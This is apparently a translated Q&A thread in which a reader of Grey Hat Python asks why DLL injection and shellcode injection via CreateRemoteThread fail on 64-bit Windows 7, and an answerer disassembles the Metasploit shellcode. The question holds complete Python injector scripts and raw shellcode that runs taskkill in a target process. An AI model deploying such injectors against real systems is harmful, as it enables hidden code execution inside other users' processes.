CreateRemoteThread() не работает должным образом

Я читаю книгу Grey Hat Python и у меня возникают проблемы с вышеупомянутыми техниками инъекций.

Код внедрения DLL работает успешно, но код в dll, по-видимому, не выполняется и не создает окно сообщения.

Внедрение кода утверждает, что оно успешно выполнено, но шелл-код для завершения процесса не выполняется должным образом, и процесс, получающий внедрение, немедленно перестает работать.

Являются ли эти проблемы из-за Windows 7 и книга просто немного устарела? Или могут быть другие проблемы? Я использую 64-битную Windows 7 Ultimate.

В любом случае, вот код:

dll_inject.py

import sys
from ctypes import *

PAGE_READWRITE      = 0x04
PROCESS_ALL_ACCESS  = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM         = (0x1000 | 0x2000)

kernel32    = windll.kernel32
pid         = sys.argv[1]
dll_path    = sys.argv[2]

dll_len = len(dll_path)

#Get a handle to the process we are injecting into
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))

if not h_process:
    print "[*} Couldn't acquire a handle to PID: %s" % pid
    sys.exit(0)

#Allocate some space for the DLL path
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE)

#Write the DLL path into the allocated space
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written))

#We need to resolve the address for LoadLibraryA
h_kernel32  = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib   = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")

#Now we try to create the remote thread, with the entry point set to
#LoadlibraryA and a pointer to the DLL path as its single parameter
thread_id = c_ulong(0)

if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address,
                                   0, byref(thread_id)):
    print "[*] Failed in inject DLL. Exting."
    sys.exit(0)

code_inject.py

import sys
from ctypes import *

#We set the EXECUTE access mask so that our shellcode will
#execute in the memory block we have allocated
PAGE_EXECUTE_READWRITE  = 0x00000040
PROCESS_ALL_ACCESS      = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM             = (0x1000 | 0x2000)

if not sys.argv[1] or not sys.argv[2]:
    print "Code Injector: ./code_injector.py <pid to inject> <pid to kill>"
    sys.exit(0)

kernel32    = windll.kernel32
pid         = int(sys.argv[1])
pid_to_kill = sys.argv[2]

# win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152
# Encoder=None http://metasploit.com

shellcode = \
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \
"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"

padding         = 4 - (len(pid_to_kill))
replace_value   = pid_to_kill + ("\x00" * padding)
replace_string  = "\x41" * 4

shellcode       = shellcode.replace(replace_string, replace_value)
code_size       = len(shellcode)

#Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))

if not h_process:
    print "[*] Couldn't acquire a handle to PID: %s" % pid
    sys.exit(0)

#Allocate some space for the shellcode
arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size,
                                      VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)

#Write out the shellcode
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size,
                            byref(written))

#Now we create the remote thread and point its entry routine
#to be head of our shellcode
thread_id = c_ulong(0)

if not kernel32.CreateRemoteThread(h_process, None, 0, arg_address, None,
                                   0, byref(thread_id)):
    print "[*] Failed to inject process-killing shellcode. Exiting."
    sys.exit(0)

print "[*] Remote thread created with a thread ID of: 0x%0xx" % thread_id.value
print "[*] Process %s should not be running anymore!" % pid_to_kill
print "[*] Remote thread with ID 0x%08x created" % thread_id.value

injected.dll

// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
      )
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
        MessageBoxA(NULL,"Hello from the process!","I am inside the process you injected!",MB_OK);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
  break;
}
return TRUE;
}

1 ответ

На самом деле я уже несколько раз искал это, но из всех ответов, которые я видел, сказано, что модуль Python ctypes работает правильно, даже на 64-битной версии Python. Лично мне не удалось заставить удаленную инъекцию кода функционировать правильно, но, честно говоря, я действительно не тратил много времени, пытаясь ее устранить. Что касается ваших конкретных проблем:

Одна вещь, которую я обнаружил при работе с ctypes, заключается в том, что он имеет тенденцию к большей кооперации, когда вы явно указываете argtypes и restype. На самом деле, если я правильно помню, у меня был почти идентичный код, который отказывался функционировать должным образом, пока я не указал соответствующие типы. У меня есть более старая версия одного из моих репозиториев, которая содержит все объявления для API, который вы используете в файле _kernel32.py. Попробуйте подключить эти объявления и посмотреть, исправит ли это ваше dll_inject.py скрипт.

Для code_inject.py сценарий, я думаю, что комментарий TreeMonkie является правильным. В то время как 64-битный дизассемблер не дал ничего, что я мог бы действительно выполнить, дизассемблер с 32-битными инструкциями показал следующее:

.686p
.mmx
.model flat

; Segment type: Pure code
seg000 segment byte public 'CODE' use32
    assume cs:seg000
    assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
        cld
        call sub_4A
        mov eax, [ebp+3Ch]
        mov edi, [ebp+eax+78h]
        add edi, ebp
        mov ecx, [edi+18h]
        mov ebx, [edi+20h]
        add ebx, ebp

        loc_17:
        dec ecx
        mov esi, [ebx+ecx*4]
        add esi, ebp
        xor eax, eax
        cdq

        loc_20:
        lodsb
        test al, al
        jz short loc_2C
        ror edx, 0Dh
        add edx, eax
        jmp short loc_20

        loc_2C:
        cmp edx, [esp+4]
        jnz short loc_17
        mov ebx, [edi+24h]
        add ebx, ebp
        mov cx, [ebx+ecx*2]
        mov ebx, [edi+1Ch]
        add ebx, ebp
        mov ebx, [ebx+ecx*4]
        add ebx, ebp
        mov [esp+4], ebx
        retn



    sub_4A proc near
        xor eax, eax
        mov eax, fs:[eax+30h]
        test eax, eax
        js short loc_60
        mov eax, [eax+0Ch]
        mov esi, [eax+1Ch]
        lodsd
        mov ebp, [eax+8]
        jmp short loc_69

        loc_60:
        mov eax, [eax+0B0h]
        mov ebp, [eax+3Ch]

        loc_69:
        pop edi
        xor esi, esi
        pusha
        push esi
        mov eax, edi
        add eax, 7Bh
        push eax
        push 60E0CEEFh
        push 0E8AFE98h
        push edi
        jmp edi
    sub_4A endp

    strCmd_exeCTask db 'cmd.exe /c taskkill /PID AAAA',0
    seg000 ends
end

В любом случае, если это фактически 32-битный шелл-код, он не будет работать в 64-битном процессе. (Хотя я скажу, что учитывая то, как мало я читал о 64-битной сборке, вполне возможно, что я могу ошибаться, считая ее 32-битной)

Наконец, вы можете проверить файл dllinject.py в проекте pyinject. Похоже, у него есть реализация удаленного внедрения шелл-кода в своем классе.

Надеюсь, это поможет.

Другие вопросы по тегам